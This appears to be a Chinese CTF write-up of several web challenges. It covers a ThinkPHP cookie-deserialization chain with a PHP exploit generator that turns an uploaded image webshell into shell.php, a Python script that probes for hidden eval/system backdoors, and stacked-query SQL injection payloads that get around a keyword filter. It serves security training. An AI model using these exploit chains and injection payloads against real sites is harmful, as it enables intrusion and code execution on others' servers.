upload
通过 dirsearch 可以发现源码泄露,下载下来审计。
➜ dirsearch git:(master) ./dirsearch.py -u 'http://117.78.28.89:31378' -e '*'
[22:03:46] 200 - 1KB - /favicon.ico
[22:03:51] 302 - 0B - /home.html -> http://117.78.28.89:31378/index.php/index
[22:03:51] 302 - 0B - /Home -> http://117.78.28.89:31378/index.php/index
[22:03:51] 302 - 0B - /home -> http://117.78.28.89:31378/index.php/index
[22:04:00] 302 - 0B - /logout -> http://117.78.28.89:31378/index.php/index
[22:04:19] 200 - 24B - /robots.txt
[22:04:26] 301 - 322B - /static -> http://117.78.28.89:31378/static/
[22:04:33] 301 - 322B - /upload -> http://117.78.28.89:31378/upload/
[22:04:33] 200 - 1KB - /upload/
[22:05:06] 200 - 24MB - /www.tar.gz
首先看TP的路由信息( tp5/route/route.php ),关注web模块下的控制器方法。
先看下 tp5/application/web/controller/Index.php 中的代码,我们需要关注的是 login_check 方法,这个方法从 cookie 中获取字符串,并将其反序列化。所以我们可以反序列化任意类。
接着看 tp5/application/web/controller/Login.php 中的代码,Login 类里面只有一个 login 方法,就是常规的登录检测,没有可利用的地方。
再看 tp5/application/web/controller/Profile.php 中的代码,在 upload_img 方法中有上传文件复制操作,而这个操作中的 $this->ext、$this->filename_tmp、$this->filename 均可通过反序列化控制。如果我们能调用 upload_img 这一方法,在知道图片路径的情况下,就可以任意重命名图片文件,可以考虑和图片马相结合。
在 Profile.php 文件末尾还有两个魔术方法,其中 $this->except 在反序列化时可控,这一就有可能通过 __call 调用任意类方法。继续看 Register.php 中是否存在可以触发 __call 方法的地方。
我们看到 tp5/application/web/controller/Register.php 文件中存在 __destruct 方法,其 $this->registed、$this->checker 在反序列化时也是可控的。如果我们将 $this->checker 赋值为 Register 类,而 Register 类没有 index 方法,所以调用的时候就会触发 __call 方法,这样就形成了一条完整的攻击链。
最终用下面生成的 EXP 作为 cookies 访问网页,即可将原来上传的图片马名字修改成 shell.php ,依次找 flag 即可。
<?php
namespace app\web\controller;
use think\Controller;
class Register
{
public $checker;
public $registed = false;
public function __construct($checker){
$this->checker = $checker;
}
}
class Profile
{ # 先上传一个图片马shell.png,保存路径为/upload/md5($_SERVER['REMOTE_ADDR'])/md5($_FILES['upload_file']['name']).".png"
public $filename_tmp = './upload/2e25bf05f23b63a5b1f744933543d723/00bf23e130fa1e525e332ff03dae345d.png';
public $filename = './upload/2e25bf05f23b63a5b1f744933543d723/shell.php';
public $ext = true;
public $except = array('index' => 'upload_img');
}
$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));
高明的黑客
从题目给的源码来看,好像黑客留了shell,我们需要从这些源码中找到真正的shell。
我们先搜搜常见的shell,类似 eval($_GET[xx])
或者 system($_GET[xx])
。这里通过程序来寻找shell。(由于文件太多,建议本地跑,我跑了40分钟才出来:)
import os,re
import requests
filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
print(name)
with open('/var/www/html/src/'+name,'r') as f:
data = f.read()
result = list(set(pattern.findall(data)))
for ret in result:
try:
command = 'uname'
flag = 'Linux'
# command = 'phpinfo();'
# flag = 'phpinfo'
if 'GET' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.get(url='http://127.0.0.1:8888/' + name + '?' + passwd + '='+ command)
if flag in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.post(url='http://127.0.0.1:8888/' + name,data={passwd:command})
if flag in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except : pass
最终发现了真正的 shell ,直接连上查找 flag 即可。
随便注
fuzz 一下,会发现 ban 了以下字符:
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);
发现支持多语句查询。查表语句为:
http://117.78.39.172:32184/?inject=0';show tables;%23
由于过滤了 select 等关键字,我们可以用预编译来构造带有 select 的 sql 语句。
set @sql=concat('sel','ect * from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;
结果提示:
strstr($inject, "set") && strstr($inject, "prepare")
既然是用 strstr 来匹配关键字,那么直接大小写关键字即可绕过:
http://xxxx/?inject=1'%3bSet+%40sqll%3dconcat('sel','ect+*+from+`1919810931114514`')%3bPrepare+presql+from+%40sqll%3bexecute+presql%3bdeallocate+Prepare+presql%3b%23
强网先锋-上单
从题目可观察出使用的 Thinkphp5.0.22 ,而这个版本存在 RCE ,所以直接使用 payload 攻击即可,具体原理见:ThinkPHP5漏洞分析之代码执行(九)